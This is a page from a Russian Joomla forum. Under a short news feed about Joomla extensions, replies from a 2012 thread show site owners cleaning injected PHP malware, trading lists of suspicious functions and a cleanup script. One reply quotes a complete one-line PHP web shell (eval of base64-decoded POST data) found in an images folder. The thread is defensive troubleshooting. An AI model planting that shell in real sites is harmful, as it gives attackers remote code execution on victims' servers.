Новости Joomla

👩‍💻 Joomla-ресурсы в мессенджере MAX.

👩‍💻 Joomla-ресурсы в мессенджере MAX.

В мессенджере MAX некоторое время назад созданы чат и канал русскоязычного Joomla-сообщества - "Joomla! по-русски".
- чат
- канал (зеркало @JoomlaFeed)

Также ссылки можно найти на официальном сайте Joomla-сообщества - Joomlaportal.ru.
@joomlafeed

👩‍💻 WT CDEK library v.1.3.0 - обновление PHP SDK для Joomla + CDEK.

👩‍💻 WT CDEK library v.1.3.0 - обновление PHP SDK для Joomla + CDEK.

Небольшая нативная PHP Joomla библиотека для работы с API v.2 службы доставки CDEK. Библиотека представляет собой клиент для авторизации в CDEK API по OAuth, работы с некоторыми методами API: получения ряда данных и расчета стоимости доставки. Поддерживается Joomla 4.2.7 и выше.

В пакет входят:
- библиотека Webtolk/Cdekapi
- системный плагин System - WT Cdek для хранения настроек и AJAX-интеграций
- task-плагин Task - Update WT Cdek data для обновления локальных копий справочников CDEK по расписанию
- web asset с официальным JavaScript-виджетом СДЭК

👉 v.1.3.0. Что нового?
- Полный рефакторинг библиотеки. Библиотека переработана в entity-based API с фасадом Cdek и отдельным слоем запросов. Обратная совместимость не нарушена, поэтому версия библиотеки - 1.3.0.
- Добавлена поддержка новых разделов API СДЭК. Добавлена поддержка новых разделов API СДЭК: webhooks, prealert, печатные формы, payment, passport, reverse, intakes и других сущностей.
- Улучшена интеграция с Joomla.
Улучшена интеграция с Joomla: installer script для layouts, новые поля Joomla Form для тарифов и обновлённые js виджета CDEK.
- документация библиотеки. Все методы библиотеки подробно описаны, а так же текст документации собран в отдельной папке в git репозитории и будет опубликован на сайте.

Библиотека эта нужна для разработчиков, создающих свои расширения для интеграции Joomla и курьерской службы CDEK.

Страница расширения
GitHub расширения

@joomlafeed

👩‍💻 Вышла новая версия плагина joomLab Gallery 1.1.0 для Joomla.

👩‍💻 Вышла новая версия плагина joomLab Gallery 1.1.0 для Joomla.

Плагин joomLab Gallery позволит Вам добавлять в любой материал или модуль HTML неограниченное количество галерей, а главное удобно управлять файлами и эффектами в каждой галерее.

Плагин использует популярны скрипты Swiper.js и FancyBox. Первый для крутой организации и эффектов галерей, а второй для красивого и функционального показа оригинальных изображений на Вашем сайте.

Что нового?
- поддержка Joomla 6
- добавлена возможность добавлять галереи в стандартные модули HTML, что позволит размещать галереи в любых местах Вашего сайта

Разработчик - участник нашего сообщества Александр Новиков .

Страница расширения

@joomlafeed

1 2 3  Все   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 72 Ответов
  • 39787 Просмотров
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #30 : 24.01.2012, 17:06:15 »
Но вы там не все указали )))
Цитировать
Код может быть обфусцирован, но разные eval, base64_decode, gzuncompress, gzinflate, ob_start, str_rot13 с абракадаброй тоже весьма привлекают внимание, как и вариации на тему file, fopen, readfile, file_get_contents, HttpRequest::send с чужими адресами.
источник
Записан
*

icom

  • Давно я тут
  • 830
  • 202 / 4
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #31 : 24.01.2012, 17:11:41 »
Цитата: Лат от 24.01.2012, 14:33:35
Скажите пожалуйста, а поиск по регулярным выражениям в Вашем скрипте есть? Если есть, то какие переменные для задания регулярных выражений?
Пока нет, но я думал про это, так как нужно искать еще строки больше определенной длины (обфусцированный код или закодированный через base64_encode обычно имеет большую длину и без пробелов), вообще скрипт пригодится и для обычной работы с сайтом, часто возникает потребность найти в коде что-то, а без скачивания сайта или отдельных папок себе на компьютер не обойтись, есть наверное фтп клиенты с поиском по содержимому файов, но они будут работать намного медленнее чем скрипт, так как скрипт использует ресурсы сервера, а  фтп клиент домашнего компьютера на котором установлен. Если кому нужно можно переделать в компонент для Joomla.

Цитата: Langoliers от 24.01.2012, 16:19:11
icom, спасибо за скрипт! Если Вы не против оставлю заметку у себя на сайте

Пожалуйста, я не против
Записан
*

icom

  • Давно я тут
  • 830
  • 202 / 4
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #32 : 24.01.2012, 17:15:50 »
Цитата: oriol от 24.01.2012, 17:06:15
Но вы там не все указали )))источник

вы правы, нужно расширить список подозрительных функций
Записан
*

altyn

  • Захожу иногда
  • 310
  • 7 / 0
  • Бог придумал смех для того чтоб над собой смеялись
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #33 : 25.01.2012, 22:24:06 »
Файл например может найти "eval(base64_decode("
а вот более eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlc уже не ищет, и еще добавляет слеш
а если нечего заменить просто удалить,  пробел ставить нельзя?
Записан
*

icom

  • Давно я тут
  • 830
  • 202 / 4
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #34 : 25.01.2012, 23:21:07 »
Цитировать
Файл например может найти "eval(base64_decode("
а вот более eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlc уже не ищет, и еще добавляет слеш
исправил

Цитировать
а если нечего заменить просто удалить,  пробел ставить нельзя?
можно, а можно и ничего не ставить, просто галку "Заменить" поставить
Записан
*

altyn

  • Захожу иногда
  • 310
  • 7 / 0
  • Бог придумал смех для того чтоб над собой смеялись
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #35 : 26.01.2012, 00:20:58 »
Респект и +10 icom
Вот нашел такой линк 
Цитировать
$link  = base64_decode( JRequest::getVar( 'link', '', 'post', 'base64' ) );
Это может быть вредоносным кодом ?
Записан
*

icom

  • Давно я тут
  • 830
  • 202 / 4
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #36 : 26.01.2012, 04:51:32 »
Код
Это может быть вредоносным кодом ?
не думаю, base64_decode сама по себе не опасна, а вот с функцией eval() да
Записан
*

MaxFarSeer

  • Захожу иногда
  • 384
  • 29 / 0
  • http://ru.ah.fm:80
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #37 : 30.01.2012, 00:49:59 »
Добрый вечер, спасибо за скрипт. Вопрос такой:
с помощью вашего скрипта подчистил код, поменял пароли на фтп. Искал только по строке, которая везде добавлялась:
Спойлер
[свернуть]

какие действия еще нужно провести? в теме идет речь о поиске шела и прочее, мне это не очень понятно. Иными словами, что еще нужно поискать/как поискать/логи какие то почитать? чтобы не было повторного заражения ?
Записан
Не можете найти, где редактировать код? Читаем:
Быстрый и легкий поиск нужных файлов для редактирования чего-либо

Я много времени потратил на изменение готовых шаблонов, раскуривание чего и как там у буржуев, менял код вложенный в 100500 дивов, да они неплохи эти T3 и Warp (YOO), но стоит начать делать свой шаблон...Ребята!!! Всем советую! Свое - так легко настраивать!
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #38 : 30.01.2012, 11:39:01 »
Записан
*

!eX

  • Новичок
  • 7
  • 0 / 0
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #39 : 30.01.2012, 13:03:20 »
Использую утилиту: replace.zip
В поле: Текст поиска*: пишу полностью вредоносный код с ковычками.
Вопрос: Что указывать в поле -  "Текст замены:"
Записан
*

Aleks_El_Dia

  • Живу я здесь
  • 3671
  • 353 / 0
  • AEDStudio Joomla! Direction
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #40 : 30.01.2012, 14:49:11 »
Цитата: !eX от 30.01.2012, 13:03:20
Использую утилиту: replace.zip
В поле: Текст поиска*: пишу полностью вредоносный код с ковычками.
Вопрос: Что указывать в поле -  "Текст замены:"
А ссылочку?
Записан
Спам придумали боги в отместку за наши молитвы (с) Рома Воронежский
На молоко: Z369038872422 || R210017695494 || U247040729215 || ЯД 410011288250383
Мигрирую сайты, переношу расширения J!1.0->J!1.5->J!2.5. Более 50 успешных миграций.
*

!eX

  • Новичок
  • 7
  • 0 / 0
Re: [Решено] В php файлах во всех появилась хрень к
« Ответ #41 : 30.01.2012, 15:01:13 »
Имеется ввиду, использую утилиту  http://cmsdev.org/files/replace.zip о ней сообщалось в этой ветке. Предназначена для массового удаления вредоносного кода base64_decode. Не совсем понял, что писать в поле  "Текст замены:"
Записан
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #42 : 30.01.2012, 15:26:46 »
Цитата: !eX от 30.01.2012, 15:01:13
вредоносного кода base64_decode. Не совсем понял, что писать в поле  "Текст замены:"

 base64 как и md5 просто метод кодировки decode указывает что надо раскодировать (курим мануалы)
а сам вредоносный код идет дальше DQplcnJvcl9yZXB...........

Вот чистая Joomla 1.5.25 с оф сайта
Спойлер
[свернуть]
« Последнее редактирование: 30.01.2012, 15:40:03 от oriol »
Записан
*

zicale

  • Новичок
  • 3
  • 1 / 0
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #43 : 30.01.2012, 21:40:47 »
Ребята, спасибо огромное.
Replace - вещь!
Fls из темы http://joomlaforum.ru/index.php/topic,198048.msg1042877.html#msg1042877 класс!
Нужно их оба использовать, с помощью первой вычистил сайт от eval base с помощью второй нашел уязвимость в компоненте "Simple Spotlight" http://extensions.joomla.org/extensions/photos-a-images/images-rotators/11876 причем такая дыра - рай для хакера, шелл залить на раз - оставили форму загрузки картинок, причем скачал с оф.сайта дистрибутив, видимо не увидели просто.
Записан
*

fedor32

  • Новичок
  • 1
  • 0 / 0
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #44 : 08.02.2012, 15:18:48 »
проверьте папку images, там может быть файл post.php со следующим содержанием

<?php eval(base64_decode($_POST["php"])); ?>

Стирайте нахрен, из него и растут роги. У меня он был только в одном сайте, но были поражены все, которые лежали рядом
Записан
*

angemax

  • Захожу иногда
  • 140
  • 3 / 0
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #45 : 03.04.2012, 13:07:20 »
А мои сайты заразили, создав отдельные папки. На одном в корне была создана папка lib, в неё залит index.php с кодом:

Спойлер
[свернуть]

В этой же папке лежал .htaccess с записью:
Спойлер
[свернуть]

В результате работы в индексе поисковиков появились страницы с ключевыми запросами на варезники. И "наштамповано" было более 1000.

Есть ли вероятность того, что простое удаление этой папки, не решает проблему?
index.php в корне проверила, ничего подозрительного не увидела
Записан
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #46 : 03.04.2012, 13:57:35 »
2angemax
скрипт в подписи проверьте сайт
Записан
*

maratishe

  • Осваиваюсь на форуме
  • 25
  • 0 / 1
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #47 : 12.04.2012, 00:12:01 »
Ребята. Я так и не понял...  Что штавить в "Текст замены"
Записан
*

icom

  • Давно я тут
  • 830
  • 202 / 4
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #48 : 12.04.2012, 02:03:17 »
Цитата: maratishe от 12.04.2012, 00:12:01
Ребята. Я так и не понял...  Что штавить в "Текст замены"
если стоит галка "Замена", то в файлах сайта "Текст поиска" будет заменен на "Текст замены", если в "Текст замены" ничего нет, то "Текст поиска" будет удален из файлов )
Записан
*

maratishe

  • Осваиваюсь на форуме
  • 25
  • 0 / 1
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #49 : 12.04.2012, 16:12:39 »
Ага сделал))  И сайд пос этого не работает ....
Записан
*

icom

  • Давно я тут
  • 830
  • 202 / 4
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #50 : 12.04.2012, 16:20:53 »
а что вы конкретно сделали? верните из бекапа
лучше скриптом не пользуйтесь, если не знаете для чего он
Записан
*

maratishe

  • Осваиваюсь на форуме
  • 25
  • 0 / 1
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #51 : 12.04.2012, 16:49:54 »
Ну вставлял: eval, base64_decode, gzuncompress, gzinflate, ob_start, str_rot13.........

Нашёл много..

Потом поставил галкаку  "Замена"

в "Текст замены" ничаво не писал.

И все

Потом саид не работал  ERROR line 188
Записан
*

icom

  • Давно я тут
  • 830
  • 202 / 4
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #52 : 12.04.2012, 19:37:34 »
eval, base64_decode, gzuncompress, gzinflate, ob_start, str_rot13 это все функции php, которые используются как в самой Joomla так и в сторонних компонентах, если вы их нашли, то это не повод их удалять), лучше обратитесь к специалистам в этом вопросе, а сайт восстановите из бекапа, если его нет, то обратитесь к хостеру чтоб восстановил
Записан
*

WebDisaster

  • Захожу иногда
  • 108
  • 12 / 0
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #53 : 11.07.2012, 09:31:45 »
Цитата: icom от 21.01.2012, 21:00:46
хочу выяснить как происходит заражение (слежу 3 дня), у него 24 сайта на одном аккаунте, заражаются регулярно только три, через что мне казалось что взламывают не через фтп
Появилась идея, как взламывали? А то приехала точно такая же радость. Файлы меняли в два захода, логов за эти дни уже нет.
Записан
*

romashko1901

  • Новичок
  • 1
  • 0 / 0
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #54 : 11.10.2012, 23:34:22 »
чуть выше есть ответ: в папке images файл post.php спасибо :D автору за подсказку
Записан
*

WebDisaster

  • Захожу иногда
  • 108
  • 12 / 0
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #55 : 12.10.2012, 05:13:20 »
Цитата: romashko1901 от 11.10.2012, 23:34:22
чуть выше есть ответ: в папке images файл post.php
Это не ответ. Ответ звучит так: файл post.php попал на сервер в результате ...
Вот многоточие как раз и интересует. Сервер я вычистил, с июля тихо. Но как это Г. мне закинули - остаётся большим вопросом.
« Последнее редактирование: 12.10.2012, 05:16:28 от WebDisaster »
Записан
*

Langoliers

  • Давно я тут
  • 621
  • 67 / 2
  • Если б Я изучал людей, то был бы паразитологом
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #56 : 12.10.2012, 08:21:15 »
Логи доступа читайте...
Записан
*

WebDisaster

  • Захожу иногда
  • 108
  • 12 / 0
Re: [Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #57 : 13.10.2012, 05:14:53 »
Было бы что читать - давно бы вычитал. Я уже объяснил:
Цитата: WebDisaster от 11.07.2012, 09:31:45
Файлы меняли в два захода, логов за эти дни уже нет.
Шелл закинули и он около двух месяцев (если судить по дате создания файла) тихо лежал. Когда им начали пользоваться, логов на дату создания файла уже не было.
Записан
*

icom

  • Давно я тут
  • 830
  • 202 / 4
RE: В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #58 : 31.01.2013, 19:53:47 »
Записан
*

Rmilovidov

  • Захожу иногда
  • 110
  • 1 / 0
  • Работаю на себя
RE: В php файлах во всех появилась хрень какая-то появилось давно что это ?
« Ответ #59 : 23.02.2013, 03:07:39 »
Кто за определенную плату может полечтить сайт от вируса-редиректа?
Записан
1 2 3  Все   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

[Решено] Заразились в один день 4 аккаунта по 10 сайтов

Автор Stich SPb

 Ответов: 356
Просмотров: 84686 		Последний ответ 13.09.2019, 18:49:33
от diana1975
На мобильном не работает сайт (решено, ошибка в андройде)

Автор dragon4x4

 Ответов: 5
Просмотров: 2515 		Последний ответ 01.03.2018, 22:46:10
от dragon4x4
[Решено] Странный файл в Akeeba Backup - вирус?

Автор jimka

 Ответов: 2
Просмотров: 1596 		Последний ответ 31.05.2016, 17:39:15
от flyingspook
На сайте появилось перенаправление на нехороший сайт

Автор batot

 Ответов: 5
Просмотров: 1458 		Последний ответ 26.11.2015, 19:34:21
от jlend
Проверка всех файлов на изменения

Автор kik84

 Ответов: 8
Просмотров: 3133 		Последний ответ 17.03.2015, 13:25:47
от kik84